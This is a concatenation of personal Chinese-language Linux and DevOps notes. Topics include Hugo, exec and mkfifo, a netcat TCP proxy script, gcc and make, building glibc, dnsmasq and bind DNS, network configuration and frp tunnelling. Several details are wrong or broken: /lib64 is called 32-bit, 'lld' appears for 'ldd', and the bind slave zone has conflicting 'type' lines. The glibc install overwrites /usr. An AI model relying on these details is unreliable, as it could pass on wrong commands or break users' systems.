17 | 1. windows环境下载解压即可使用
18 | https://github.com/gohugoio/hugo/releases/download/v0.79.0/hugo_0.79.0_Windows-64bit.zip
19 |
20 | ## 使用
21 |
22 | 1. 创建一个工程
23 |
24 | ```bash
25 | project=myblog
26 | hugo new site ${project}
27 | cd ${project}
28 | ```
29 |
30 | 2. 创建一篇博客
31 |
32 | ```bash
33 | path=posts/my-first-post.md
34 | hugo new ${path} # 生成一个模板文件
35 | ```
36 |
37 | 3. 主题安装
38 |
39 | ```bash
40 | git init
41 | git submodule add https://github.com/budparr/gohugo-theme-ananke.git themes/ananke
42 | ```
43 |
44 | 或者
45 |
46 | ```bash
47 | cd themes
48 | git clone https://github.com/vjeantet/hugo-theme-casper.git casper
49 | git clone https://gitee.com/tangjin520/hugo-casper3 casper # 穷苦潦倒的时候选择gitee
50 | ```
51 |
52 | 4. 配置文件
53 | config.toml
54 |
55 | ```conf
56 | # 制定主题是 casper
57 | theme = "casper"
58 | ```
59 |
60 | 5. 编译预览
61 |
62 | ```bash
63 | hugo server -D
64 | # -D 编译预览
65 | # -t 指定themes目录下的主题
66 | ```
67 |
68 | 6. 生成静态代码进public目录
69 |
70 | ```
71 | hugo
72 | ```
73 |
74 | ## 主题
75 |
76 | https://themes.gohugo.io/
77 | https://www.gohugo.org/theme/
78 |
79 | 1. 一个轻量级主题 https://github.com/Track3/hermit
80 |
--------------------------------------------------------------------------------
/linux/advancedFeature.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-16
3 | ---
4 |
5 | [TOC]
6 |
7 | ## 文件描述符fd
8 |
9 | - linux中, 每一个进程在内核中,都对应有一个“打开文件”数组,存放指向文件对象的指针,而 fd 是这个数组的下标。
10 | - fd的类型为int, < 0 为非法值, >=0 为合法值。在linux中,一个进程默认可以打开的文件数为1024个,fd的范围为0~1023。可以通过设置,改变最大值。
11 | - fd 0 是stdin,1 是stdout,2 是stderr。
12 |
13 | ```bash
14 | # Linux系统下,所有进程允许打开的最大fd数量
15 | cat /proc/sys/fs/file-max
16 | # Linux系统下,所有进程已经打开的fd数量及允许的最大数量
17 | cat /proc/sys/fs/file-nr
18 | # 单个进程允许打开的最大fd数量
19 | ulimit -n
20 | # 单个进程已经打开的fd
21 | ls -l /proc/$PID/fd/
22 | ```
23 |
24 | ## 进程间通信
25 |
26 | 进程间通信的方式有很多,常见的有信号,信号量,消息队列,管道,共享内存,和socket等
27 | 参考 https://blog.csdn.net/love_gaohz/article/details/6636661
28 |
29 | ## 管道
30 |
31 | |
32 | xargs
33 |
34 | ## exec
35 |
36 | 参考 https://blog.csdn.net/qq_31186123/article/details/82190776
37 |
38 | - 使用 exec 命令可以并不启动新的 Shell,而是使用执行命令替换当前的 Shell 进程,并且将老进程的环境清理掉,而且 exec 命令后的其他命令将不再执行。
39 | - exec命令基本功能
40 |
41 | ```bash
42 | # 1. 在shell中执行ls,ls结束后不返回原来的shell中了
43 | exec ls
44 | # 2. 将file中的内容作为exec的标准输入
45 | exec < file
46 | # 3. 将file中的内容作为标准写出
47 | exec > file
48 | # 4. 将file读入到fd3中
49 | exec 3< file
50 | # 5. fd3中读入的内容被分类输出
51 | sort <&3
52 | # 6. 将写入fd4中的内容写入file中
53 | exec 4>file
54 | # 7. ls将不会有显示,直接写入fd4中了,即上面的file中
55 | ls >&4
56 | # 8. 创建fd4的拷贝fd5
57 | exec 5<&4
58 | # 9. 关闭fd3
59 | exec 3<&-
60 | # 10
61 | echo "foo bar" > file # write string "foo bar" to file "file".
62 | exec 5<> file # open "file" for rw and assign it fd 5.
63 | read -n 3 var <&5 # read the first 3 characters from fd 5.
64 | echo $var
65 | ```
66 |
67 | ## mkfifo
68 |
69 | 参考 https://notes.tweakblogs.net/blog/7955/using-netcat-to-build-a-simple-tcp-proxy-in-linux.html
70 |
71 | ```bash
72 | # 终端1
73 | mkfifo fifo
74 | exec < fifo
75 | # 终端2
76 | exec 3> fifo;
77 | echo 'echo test' >&3
78 | ```
79 |
80 | 实现端口转发进行代理的功能
81 |
82 | ```bash
83 | # 代理
84 | nc -kl 8888 < fifo | nc garyss.top 80 > fifo
85 | # 通过代理进行访问
86 | http_proxy=localhost:8888 curl garyss.top
87 | ```
88 |
89 | ```bash tcp-proxy.sh
90 | #!/bin/sh -e
91 |
92 | if [ $# != 3 ]
93 | then
94 | echo "usage: $0 "
95 | exit 0
96 | fi
97 |
98 | TMP=`mktemp -d`
99 | BACK=$TMP/pipe.back
100 | SENT=$TMP/pipe.sent
101 | RCVD=$TMP/pipe.rcvd
102 | trap 'rm -rf "$TMP"' EXIT
103 | mkfifo -m 0600 "$BACK" "$SENT" "$RCVD"
104 | sed 's/^/ => /' <"$SENT" &
105 | sed 's/^/<= /' <"$RCVD" &
106 | nc -l -p "$1" <"$BACK" | tee "$SENT" | nc "$2" "$3" | tee "$RCVD" >"$BACK"
107 | ```
108 |
109 | ./tcp-proxy.sh 8080 garyss.top 80
110 |
--------------------------------------------------------------------------------
/linux/eBPF.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2025-04-28
3 | ---
4 |
5 | [TOC]
6 |
7 | - 参考
8 |
9 | - http://www.brendangregg.com/blog/2019-01-01/learn-ebpf-tracing.html
10 | - https://coolshell.cn/articles/22320.html#google_vignette
11 |
12 | - eBPF(extened Berkeley Packet Filter)是一种内核技术,它允许开发人员在不修改内核代码的情况下运行特定的功能。eBPF 的概念源自于 Berkeley Packet Filter(BPF),后者是由贝尔实验室开发的一种网络过滤器,可以捕获和过滤网络数据包。
13 |
14 | - 出于对更好的 Linux 跟踪工具的需求,eBPF 从 dtrace中汲取灵感,[dtrace](https://illumos.org/books/dtrace/chp-intro.html) 是一种主要用于 Solaris 和 BSD 操作系统的动态跟踪工具。与 dtrace 不同,Linux 无法全面了解正在运行的系统,因为它仅限于系统调用、库调用和函数的特定框架。在Berkeley Packet Filter (BPF)(一种使用内核 VM 编写打包过滤代码的工具)的基础上,一小群工程师开始扩展 BPF 后端以提供与 dtrace 类似的功能集。 eBPF 诞生了。2014 年随 Linux 3.18 首次限量发布,充分利用 eBPF 至少需要 Linux 4.4 以上版本。
15 |
16 | ## 使用
17 |
18 | 1. 检查系统内核是否支持 eBPF
19 | 1. `ls /sys/fs/bpf 和 lsmod | grep bpf`
20 | 2. 如果不支持需要,内核配置文件中启用 eBPF 相关的选项,并重新编译内核。
21 |
--------------------------------------------------------------------------------
/linux/gui.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2024-01-02
3 | ---
4 |
5 | [TOC]
6 |
7 | ## 安装GUI
8 |
9 | ```bash
10 | # 安装gnome客户端
11 | sudo apt update
12 | sudo apt upgrade -y
13 | sudo apt install -y ubuntu-desktop
14 | sudo dpkg-reconfigure gdm3
15 | systemctl start gdm3
16 | ```
17 |
18 | ## 自动化点击
19 |
20 | ```bash
21 | apt-get install xdotool -y
22 | # yum install xdotool -y
23 |
24 | # 获取鼠标位置
25 | g
26 |
27 | # 将鼠标移动到(X,Y)坐标为(153,63)的位置
28 | xdotool mousemove 153 63
29 |
30 | # 单击左键
31 | xdotool click 1
32 | # 双击左键
33 | xdotool click 1 click 1
34 |
35 | # 移动鼠标并单击
36 | xdotool mousemove $x $y click 1
37 |
38 | # 模拟击键使用命令
39 | xdotool key $key
40 | # 切换窗口组合键 Alt+Tab
41 | xdotool key alt+Tab
42 |
43 | # 输入
44 | xdotool type ''
45 | ```
46 |
--------------------------------------------------------------------------------
/linux/linux-language/c&c++.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-20
3 | ---
4 |
5 | [TOC]
6 |
7 | ## gcc
8 |
9 | - gcc 是c&c++语言的编译器。
10 | - 使用gcc编译的时候,只会默认链接一些基本的c语言标准库(例如libc.a或者libc.so),有很多的依赖库(例如非标准库、第三方库等)是需要工程师在使用gcc编译指令时,在指令后面加上要链接的库。
11 |
12 | ```bash
13 | path=./main.c
14 | gcc ${path} # 默认生成a.out可执行文件
15 | # 参数
16 | # -o 自定义生成的可执行文件名
17 | # -c 进行编译和汇编但不链接
18 | # -static 静态编译
19 | # -O 快速编译
20 | # -Wall 编译时输出更多的信息
21 | ```
22 |
23 | ## make
24 |
25 | - 问题: 当依赖库很多时,gcc编译时需要手动链接的库就很多,不是一个很好的编译方式。
26 | - 解决方案: make 指令根据 Makefile 文件中写的内容进行编译和链接,生成一个独立的可执行程序。解决使用gcc编译时手动添加的库的问题。
27 | - make 指令执行的是增量编译。
28 |
29 | ```bash
30 | # 配置并且生成Makefile文件
31 | ./configure
32 | # ./configure --prefix=/usr --disable-profile --enable-add-ons --with-headers=/usr/include --with-binutils=/usr/bin
33 | # --prefix=软件要安装的路径
34 |
35 | # 根据Makefile进行编译
36 | make
37 | # -j 指定编译时使用的线程数量
38 |
39 | # 安装
40 | make install
41 |
42 | # 卸载
43 | make uninstall
44 |
45 | # 將之前产生的可执性文件和其它文件删除,再次执行make install即可进行全量编译
46 | make clean
47 | ```
48 |
49 | ## cmake
50 |
51 | - 问题: 当工程非常大的时候,手写Makefile也是一件麻烦的事,而且Makefile也不是万能的,换了一个别的平台,Makefile又得重写。
52 | - 解决方案: cmake 是可以跨平台项目管理的工具,它根据 CMakeLists.txt 文件自动生成 Makefile 文件。
53 |
54 | ## 函数库
55 |
56 | ### 概念
57 |
58 | - 编译
59 | 1. 静态编译:将函数库也编译进可执行文件里。
60 | 2. 动态编译:将函数库的指针编译进可执行的文件里。
61 | - 库
62 | 1. 动态库以 .so 为扩展名.
63 | 2. 静态库以 .a 为扩展名。
64 |
65 | ### Linux可执行文件(ELF文件)
66 |
67 | 1. ELF = Executable and Linkable Format
68 | 2. ELF文件组成
69 | 1. 程序头:描述段信息
70 | 2. Section头:链接与重定位需要的数据
71 | 3. 程序头与Section头需要的数据.text .data
72 | 3. 查看ELF文件的具体信息 `readelf -a ${file}`
73 |
74 | ### 动态库
75 |
76 | - 动态库加载的优先级
77 | 1. LD_PRELOAD
78 | 2. LD_LIBRARY_PATH
79 | 3. /etc/ld.so.cache
80 | 4. /lib>/usr/lib
81 |
82 | ### 相关文件与指令
83 |
84 | 1. /etc/ld.so.conf 文件记录编译时使用的动态链接库的搜索路径,默认情况下编译器只会使用/lib和/usr/lib两个目录下的库文件。
85 |
86 | 2. lib目录
87 |
88 | 1. /lib 包含目标文件(object files)与库。
89 | 2. /lib32 表示32位,32位的目标文件和库。
90 | 3. /lib64 表示32位,64位的目标文件和库。
91 | 4. libexec 包含不由用户和shell script直接执行的二进制文件。
92 |
93 | 3. `/sbin/ldconfig` 指令
94 |
95 | 1. 功能: 将/etc/ld.so.conf 中的函数库路径刷新到/etc/ld.so.cache中,及内存中。
96 | 2. 参数: -p 查看缓存里的所有函数库。
97 |
98 | 4. `/bin/ldd` 指令
99 |
100 | 1. 功能: 查看函数库所依赖的共享库文件。常用来解决程序因缺少某个库文件而不能运行的一些问题。
101 | 2. `lld 文件名.so -v`
102 | 1. 第一列:程序需要依赖什么库
103 | 2. 第二列: 系统提供的与程序需要的库所对应的库
104 | 3. 第三列:库加载的开始地址
105 |
106 | 5. `strings `
107 |
108 | - 查看所有的glibc版本 ` strings /usr/lib/x86_64-linux-gnu/libstdc++.so.6 | grep GLIBC`
109 |
--------------------------------------------------------------------------------
/linux/linux-language/c&c++_lib.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2022-09-21
3 | ---
4 |
5 | [TOC]
6 |
7 | - 库
8 |
9 | ### Ubuntu c++ 开发环境
10 |
11 | ```bash
12 | apt-get update
13 |
14 | # 安装编译器和调试器
15 | apt-get install build-essential manpages-dev gdb
16 | # 如果成功,则显示版本号
17 | # gcc --version
18 | # g++ --version
19 | # gdb --version
20 |
21 | apt install cmake
22 | ```
23 |
24 | - 库
25 | - cmake https://github.com/Kitware/CMake/
26 |
27 | ### glibc
28 |
29 | ```bash
30 | ll /lib/x86_64-linux-gnu/libc.so.6
31 | ```
32 |
33 | #### 安装方式一 Ubuntu20
34 |
35 | - 基于 https://github.com/bminor/glibc
36 | ```bash
37 | git clone https://github.com/bminor/glibc && cd glibc
38 | git checkout glibc-2.34
39 | mkdir build && cd build
40 | ../configure --prefix=/usr --disable-profile --enable-add-ons --with-headers=/usr/include --with-binutils=/usr/bin
41 | make
42 | make install
43 | ```
44 |
45 | 1. 问题一
46 |
47 | ```log
48 | *** These auxiliary programs are missing or incompatible versions: makeinfo
49 | *** some features will be disabled.
50 | *** Check the INSTALL file for required versions.
51 | checking LD_LIBRARY_PATH variable... contains current directory
52 | configure: error:
53 | *** LD_LIBRARY_PATH shouldn't contain the current directory when
54 | *** building glibc. Please change the environment variable
55 | *** and run configure again.
56 | ```
57 |
58 | - 第一种方案 `export LD_LIBRARY_PATH=`
59 | - 第二种方案 清空 LD_LIBRARY_PATH 目录下的文件
60 |
61 | 2. 问题二
62 |
63 | ```log
64 | configure: error:
65 | *** These critical programs are missing or too old: bison
66 | ```
67 |
68 | ```bash
69 | apt-get install autopoint
70 | git clone https://github.com/akimd/bison && cd bison
71 | git checkout v3.8.2
72 | ...
73 | ```
74 |
75 | 3. 问题二
76 |
77 | ```log
78 | /usr/include/linux/errno.h:1:10: fatal error: asm/errno.h: No such file or directory
79 | 1 | #include
80 | ```
81 |
82 | - 解决方案 `ln -s /usr/include/asm-generic /usr/include/asm`
83 |
84 | 4. 问题三
85 |
86 | ```log
87 | fatal error: asm/prctl.h: No such file or directory
88 | ```
89 |
90 | 5. 问题四
91 |
92 | ```log
93 | These auxiliary programs are missing or incompatible versions: msgfmt makeinfo
94 | ```
95 |
96 | #### 安装方式二 Ubuntu20
97 |
98 | - 基于 https://github.com/matrix1001/glibc-all-in-one
99 |
100 | ```
101 | git clone https://github.com/matrix1001/glibc-all-in-one && cd glibc-all-in-one
102 | git checkout 2661a1d
103 | python3 update_list
104 | cat list
105 | ./download 2.36-0ubuntu2_i386
106 | ./extract ./deb/libc6_2.36-0ubuntu2_i386.deb /tmp/test
107 | ./extract ./deb/libc6-dbg_2.36-0ubuntu2_i386.deb /tmp/test_dbg
108 | ./build 2.36 i686
109 | ```
110 |
--------------------------------------------------------------------------------
/linux/linux-language/communication.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-27
3 | ---
4 |
5 | [TOC]
6 |
7 | ### 本地进程间通信方式
8 |
9 | IPC(Inter Process Communication)
10 |
11 | 1. 管道
12 | 2. 共享内存
13 | 3. 消息队列
14 | 4. Unix Domain Socket
15 | 文件锁
16 |
17 | ### UDS=unix domain socket
18 |
19 | - 参考
20 | https://xiazemin.github.io/MyBlog/linux/2018/09/21/unix_socket.html
21 | UDS传输不需要经过网络协议栈,不需要打包拆包等操作,只是数据的拷贝过程
22 | server.sock作为建立UDS连接的唯一标识符
23 | UDS连接建立完成之后在内存开辟一块空间,而server与client在这块内存空间中进行数据传输
24 |
25 | ### 线程间同步
26 |
27 | 进程的线程间的栈是独立的,堆是共享。
28 |
29 | 1. 互斥锁,函数pthread_mutex\_...
30 | 2. 读写锁,函数pthread_rwlock\_...
31 | 3. 条件变量(不是锁,本质是维护了个等待队列),函数pthread_cond\_...
32 | 4. 信号量,函数sem_init(...,0, ...)// 注意那个参数0
33 |
--------------------------------------------------------------------------------
/linux/linux-language/makefile.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-16
3 | ---
4 |
5 | [TOC]
6 |
7 | # makefile
8 |
9 | - 参考文档
10 | https://blog.csdn.net/lms1008611/article/details/85200983
11 | https://blog.csdn.net/weixin_38391755/article/details/80380786
12 |
13 | ## 概念
14 |
15 | - 为什么使用makefile
16 | 从职责分工来说,Shell script是给系统管理员用的,Makefile是给软件配置管理员或者Release Engineer用的。
17 | 解决项目间的依赖问题。
18 |
19 | - 作用
20 | 一个工程中的源文件不计其数,其按类型、功能、模块分别放在若干个目录中,makefile定义了一系列的规则来指定哪些文件需要先编译,哪些文件需要后编译,哪些文件需要重新编译,甚至于进行更复杂的功能操作
21 |
22 | ## 编译链接讲解
23 |
24 | 1. 编译时,编译器需要的是语法的正确,函数与变量的声明的正确。对于后者,通常是你需要告诉编译器头文件的所在位置(头文件中应该只是声明,而定义应该放在C/C++文件中),只要所有的语法正确,编译器就可以编译出中间目标文件。(O文件或是OBJ文件)
25 | 2. 链接时,主要是链接函数和全局变量。 (.lib 或者 .a文件)
26 | 3. 可执行文件
27 |
28 | ## 指令
29 |
30 | make
31 | -C 进入某个目录下执行make
32 | -f 指定makefile的名字
33 |
34 | ## 语法
35 |
36 | ### 特有语法
37 |
38 | 1. shell
39 |
40 | 1. 每次执行一次shell指令起一个bash环境。
41 | 2. 如果shell指令相互之间没有使用';' 或 ';'连接起来,则不共享一个bash环境。
42 |
43 | 2. 变量的赋值
44 |
45 | 1. = 是最基本的赋值
46 | 2. := 是覆盖之前的值
47 | 3. ?= 是如果没有被赋值过就赋予等号后面的值
48 | 4. += 是添加等号后面的值
49 |
50 | 3. 变量值的传递
51 |
52 | 1. $var:将Makefile中的变量var的值,传给shell指令。
53 | 2. $$var:访问shell指令中定义的变量var。
54 |
55 | ### 实践学习
56 |
57 | 1. 自定义函数 define关键开头,并以endef关键字结束.
58 |
59 | ```makefile
60 | define fun1
61 | 指令
62 | endef
63 | ```
64 |
65 | 2. 目标 依赖 伪目标
66 | 目标和依赖默认是文件
67 | 默认只执行第一个目标
68 |
69 | ```makefile
70 | .PHONY: 目标 # 定义目标是伪造的:无论目标是何种情况都执行命指令
71 | 目标 : 依赖 # 依赖文件更新时间早于目标文件更新时间则执行指令
72 | 指令
73 | ```
74 |
75 | make Makefile 目标1 目标2 ...
76 |
77 | 3. 自定义函数使用预定义函数call调用,后边跟自定义函数名及参数
78 |
79 | ```makefile
80 | .PHONY : test
81 | define fun1
82 | @echo "My name is $(0)"
83 | endef
84 |
85 | define fun2
86 | @echo "My name is $(0), param is $(1)"
87 | endef
88 | test: # 定义了一个伪目标test
89 | $(call fun1)
90 | $(call fun2, hello Makefile)
91 | ```
92 |
93 | 4. 变量/内置变量
94 |
95 | ```makefile
96 | var := $(abspath ./)
97 | test2 :
98 | @echo $(var)
99 | @echo $@ # 目标文件
100 | @echo $^ # 所有的依赖文件
101 | @echo $< # 第一个依赖文件
102 | ```
103 |
104 | 5. 文件搜索
105 |
106 | ```makefile
107 | vpath < pattern> < directories> 为符合模式< pattern>的文件指定搜索目录。
108 | vpath < pattern> 清除符合模式< pattern>的文件的搜索目录。
109 | vpath 清除所有已被设置好了的文件搜索目录。
110 | ```
111 |
112 | 6. 忽略命令的出错
113 |
114 | - make会检测每个命令的返回码,如果命令返回成功,那么make会执行下一条命令
115 | - 在Makefile的命令行前加一个减号“-”
116 |
117 | ```makefile
118 | clean:
119 | -mkdir foldername
120 | ```
121 |
122 | 6. 嵌套执行make
123 |
124 | - 例如有一个子目录叫subdir,这个目录下有个Makefile文件
125 | 总控的Makefile可以这样书写
126 |
127 | ```makefile
128 | subsystem:
129 | cd subdir && $(MAKE)
130 |
131 | 其等价于:
132 | subsystem:
133 | $(MAKE) -C subdir
134 | ```
135 |
136 | - 传递变量到下级Makefile中,使用这样的声明:
137 |
138 | ```makefile
139 | export
140 | export # 表示传递所有的变量
141 | ```
142 |
--------------------------------------------------------------------------------
/linux/network/TCP/TCP-connect.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garysdevil/ITNote/83bb1287b041c48c1b5f77c1bf0a29c4a7a25d31/linux/network/TCP/TCP-connect.png
--------------------------------------------------------------------------------
/linux/network/TCP/TCP-connection.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2021-08-27
3 | ---
4 |
5 | [TOC]
6 |
7 | https://blog.csdn.net/hkhl_235/article/details/79721645
8 | tcp连接建立:
9 | LISTEN:侦听来自远方的TCP端口的连接请求
10 | SYN-SENT:在发送连接请求后等待匹配的连接请求(客户端)
11 | SYN-RECEIVED:在收到和发送一个连接请求后等待对方对连接请求的确认(服务器)
12 | ESTABLISHED:代表一个成功建立的连接
13 |
14 | 连接断开:
15 | FIN-WAIT-1:等待远程TCP连接中断请求,或先前的连接中断请求的确认(客户端)
16 | CLOSE-WAIT:等待上层应用发来的连接中断请求(服务端)
17 | FIN-WAIT-2:从远程TCP等待连接中断请求(客户端)(半关闭状态)
18 | CLOSING:等待远程TCP对连接中断的确认(罕见。往往发生在双方同时close一个SOCKET连接,双方同时收到FIN报文)
19 | LAST-ACK:等待原来的发向远程TCP的连接中断请求的确认(服务端)
20 | TIME-WAIT:d(客户端)
21 | CLOSE:关闭连接
22 |
--------------------------------------------------------------------------------
/linux/network/TCP/TCP-disconnect.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garysdevil/ITNote/83bb1287b041c48c1b5f77c1bf0a29c4a7a25d31/linux/network/TCP/TCP-disconnect.png
--------------------------------------------------------------------------------
/linux/network/dns/dnsmasq.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2021-07-01
3 | ---
4 |
5 | [TOC]
6 |
7 | - 参考
8 |
9 | - https://cokebar.github.io/gfwlist2dnsmasq/dnsmasq_gfwlist.conf 被墙的域名文件
10 | - https://cokebar.github.io/gfwlist2dnsmasq/dnsmasq_gfwlist_ipset.conf 被墙的域名文件
11 |
12 | - dnsmasq DNS解析过程
13 |
14 | 1. 寻找本地hosts文件
15 | 2. 寻找本地缓存的域名
16 | 3. 寻找dnsmasq上的 addn-hosts 配置
17 | 4. 寻找dnsmasq上的 server 和 address 配置
18 | 5. 寻找上游dns服务器(resolv-file)
19 |
20 | ## 安装配置
21 |
22 | ```bash
23 | yum install -y dnsmasq
24 | systemctl start dnsmasq.service
25 | ```
26 |
27 | - /etc/dnsmasq.conf
28 |
29 | ```conf
30 | # strict-order 表示严格按照resolv-file文件中的顺序从上到下进行DNS解析,直到第一个解析成功为止。
31 | # listen-address=0.0.0.0,127.0.0.0 定义dnsmasq监听的地址,默认是监控本机的所有网卡上。
32 | # no-hosts 设置不读取本地/etc/hosts文件
33 | # cache-size=500 设置DNS缓存大小(单位:DNS解析条数),默认150条。
34 |
35 | resolv-file=/etc/resolv.conf # 定义dnsmasq从哪里获取上游DNS服务器的地址, 默认从/etc/resolv.conf获取。
36 | addn-hosts=/etc/hosts # 本地主机解析记录
37 | conf-file=/etc/dnsmasq.d/dnsmasq_gfwlist_ipset.conf # 子配置文件
38 |
39 |
40 | # 指定DNS
41 | server=/cn/114.114.114.114
42 | server=/taobao.com/114.114.114.114
43 | *server=/google.com/8.8.8.8 # 泛域名解析
44 | # 指定域名解析到特定的IP上
45 | address=/ad.iqiyi.com/127.0.0.1
46 | * address=/garys.top/101.132.140.53 # 泛域名解析
47 | # 域名解析IP结果存储到名为ipset_name的ipset结构中
48 | ipset=/google.com/ipset_name1,ipset_name2
49 | ```
50 |
51 | ```bash
52 | # 检查配置文件语法是否正确
53 | dnsmasq --test
54 | ```
55 |
--------------------------------------------------------------------------------
/linux/network/dns/install-bind-unfinished.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2021-07-01
3 | ---
4 |
5 | [TOC]
6 |
7 | 参考文档:
8 | https://qizhanming.com/blog/2017/05/27/how-to-configure-bind-as-a-private-network-dns-server-on-centos-7
9 | http://www.178linux.com/83491
10 | 源码:
11 | https://github.com/isc-projects/bind9
12 |
13 | ### 安装bind
14 |
15 | 1. 源码安装
16 | cd bind源码所在的目录
17 | ./configure –prefix=/opt/bind –without-openssl
18 | #make && make install
19 | 2. yum源安装
20 | yum update
21 | yum install bind bind-utils
22 |
23 | ### 配置主DNS
24 |
25 | #### 配置1
26 |
27 | 假设有如下4台机器:
28 | 172.16.212.127 作为dns1
29 | 172.16.212.128 作为dns2
30 | 172.16.212.129 作为与域名相映射的主机host1
31 | 172.16.212.130 作为与域名相映射的主机host2
32 |
33 | 1. 配置哪些计算机可以使用我们这个域名服务进行递归域名查询。
34 |
35 | - 在 options 块前面,创建一个 ACL(Access Control List) 块,名称为 “trusted”;
36 | - 修改 options 模块的 allow-query 从 localhost 改为 trusted。
37 |
38 | 2. 配置从DNS服务器
39 |
40 | - 修改option块;添加 allow-transfer 条目,设置为 dns2 的地址,
41 |
42 | 3. 在文件的最后,添加这一行 include "/etc/named/named.conf.local";
43 |
44 | ## vim /etc/named.conf
45 |
46 | ## acl "trusted" { 172.16.212.127; # dns1 - can be set to localhost 172.16.212.128; # dns2 172.16.212.129; # host1 172.16.212.130; # host2 }; options { listen-on port 53 { 127.0.0.1; 10.11.0.199; }; # listen-on-v6 port 53 { ::1; }; #allow-query { localhost; }; allow-query { trusted; }; allow-transfer { 172.16.212.128; }; ... include "/etc/named/named.conf.local"
47 |
48 | #### 配置2
49 |
50 | ## 配置DNS,指定正向域反向域文件位置 vim /etc/named/named.conf.local
51 |
52 | ## zone "bj1.example.com" { type master; file "/etc/named/zones/db.bj1.example.com"; # zone file path }; zone "212.16.172.in-addr.arpa" { type master; file "/etc/named/zones/db.172.16.212"; # 172.16.212.0/24 subnet };
53 |
54 | #### 配置3
55 |
56 | chmod 755 /etc/named
57 | mkdir /etc/named/zones
58 |
59 | 1. 创建正向域文件
60 | vim /etc/named/zones/db.bj1.example.com
61 |
62 | 2. 创建反向域文件
63 | vim /etc/named/zones/db.172.16.212
64 |
65 | #### 检查 bind 配置
66 |
67 | 使用 named-checkconf 命令检查 named.conf\* 文件
68 |
69 | named-checkzone 命令检查域文件语法是否错误
70 | named-checkzone bj1.example.com /etc/named/zones/db.bj1.example.com
71 | named-checkzone 212.16.172.in-addr.arpa /etc/named/zones/db.172.16.212
72 |
73 | #### 启动bind
74 |
75 | ### 配置从DNS
76 |
77 | ## 和主DNS的区别是在 ”配置DNS,指定正向域反向域文件位置“的文件里多了两行type slave; vim /etc/named/named.conf.local
78 |
79 | zone "bj1.example.com" {
80 | type slave;
81 | type master;
82 | file "/etc/named/zones/db.bj1.example.com"; # zone file path
83 | };
84 | zone "212.16.172.in-addr.arpa" {
85 | type slave;
86 | type master;
87 | file "/etc/named/zones/db.172.16.212"; # 172.16.212.0/24 subnet
88 | };
89 |
--------------------------------------------------------------------------------
/linux/network/linux-network-config.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-16
3 | ---
4 |
5 | [TOC]
6 |
7 | ## Linux重启网卡的三种方法
8 |
9 | ```bash
10 | # 1. network
11 | service networking restart
12 | # 或者/ etc/init.d/networking restart
13 |
14 | # 2. ifdown/ifup
15 | ifdown eth0
16 | ifup eth0
17 |
18 | # 3. ifconfig
19 | ifconfig eth0 down
20 | ifconfig eth0 up
21 | ```
22 |
23 | ## Ubuntu16配置
24 |
25 | - 网关,IP,DNS
26 |
27 | 1. vi /etc/network/interfaces
28 |
29 | ```conf
30 | iface eth0 inet static
31 | address 192.168.1.3
32 | netmask 255.255.255.0
33 | gateway 192.168.1.1
34 | dns-nameservers 114.114.114.114 8.8.8.8
35 | ```
36 |
37 | 2. 修改后重置网卡
38 |
39 | ```bash
40 | ip addr flush ens32
41 | systemctl restart networking
42 | ```
43 |
44 | 3. 使用ifconfig命令配置 网关,IP(临时生效) `ifconfig eth0 192.168.0.1 netmask 255.255.255.0 up`
45 |
46 | ## Ubuntu18.04配置 Ubuntu20.0.4
47 |
48 | 1. 配置 网关,IP,DNS
49 | - `vi /etc/netplan/${name}.yaml`
50 | - `vi /etc/netplan/50-cloud-init.yaml`
51 | - 使配置生效 `netplan apply`
52 |
53 | ```yaml
54 | network:
55 | ethernets:
56 | eth160:
57 | addresses: [172.26.12.76/24]
58 | gateway4: 172.26.12.254
59 | nameservers:
60 | addresses: [114.114.114.114,8.8.8.8]
61 | version: 2
62 | ```
63 |
64 | ```bash
65 | # 1. 查看
66 | systemctl status systemd-networkd
67 | networkctl status
68 | ```
69 |
70 | ## Centos7.5配置
71 |
72 | 1. 查看网卡`ip a`
73 |
74 | 2. 编辑配置文件
75 |
76 | - cd /etc/sysconfig/network-scripts
77 | - vi 网卡所在的文件
78 |
79 | ```conf
80 | TYPE=Ethernet # 网络类型
81 | NAME=eth0 # 网卡名称
82 |
83 | BOOTPROTO=static # 默认dhcp,改为static,表示启用静态IP地址
84 | ONBOOT=yes # 开启自动启用网络连接
85 | IPADDR=192.168.1.73 # 静态IP地址,如果使用虚拟机桥接模式,静态IP一定要和主机在同一个网段,且IP唯一未被使用
86 | GATEWAY=192.168.1.254 # 网关,需和公网主机配置的网关一致
87 | NETMASK=255.255.255.0 # 子网掩码,需和公网主机配置的网关一致
88 | DNS1=8.8.8.8 # 第一个dns服务器,BOOTPROTO=static 的时候不会自动生成DNS解析,最好在这里也一并配置上
89 | ```
90 |
91 | ## 指令
92 |
93 | ### ifconfig
94 |
95 | 1. 配置临时网卡eth0:0
96 | `ifconfig eth0:0 192.168.6.100 netmask 255.255.255.0 up`
97 | 2. 删除网卡
98 | `ifconfg eth0:0 down`
99 |
100 | ### 其它
101 |
102 | ```bash
103 | # 查看默认的dns
104 | systemd-resolve --status | grep 'DNS Servers'
105 | ```
106 |
--------------------------------------------------------------------------------
/linux/network/nat.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2025-04-06
3 | ---
4 |
5 | [TOC]
6 |
7 | - 内网穿透的方法
8 | 1. 端口映射(Port Forwarding)
9 | 1. 适用场景:有公网 IP 和路由器管理权限。
10 | 2. 反向代理与隧道(Reverse Proxy/Tunneling)
11 | 1. 适用场景:无公网 IP 或无法修改路由器。
12 | 2. 工具:Frp、Ngrok、Cloudflare Tunnel 等。
13 |
14 | ## Frp
15 |
16 | - https://github.com/fatedier/frp
17 |
18 | ### 服务端配置
19 |
20 | ```toml
21 | bindAddr = "0.0.0.0"
22 | bindPort = 7000
23 |
24 | # 认证配置
25 | [auth]
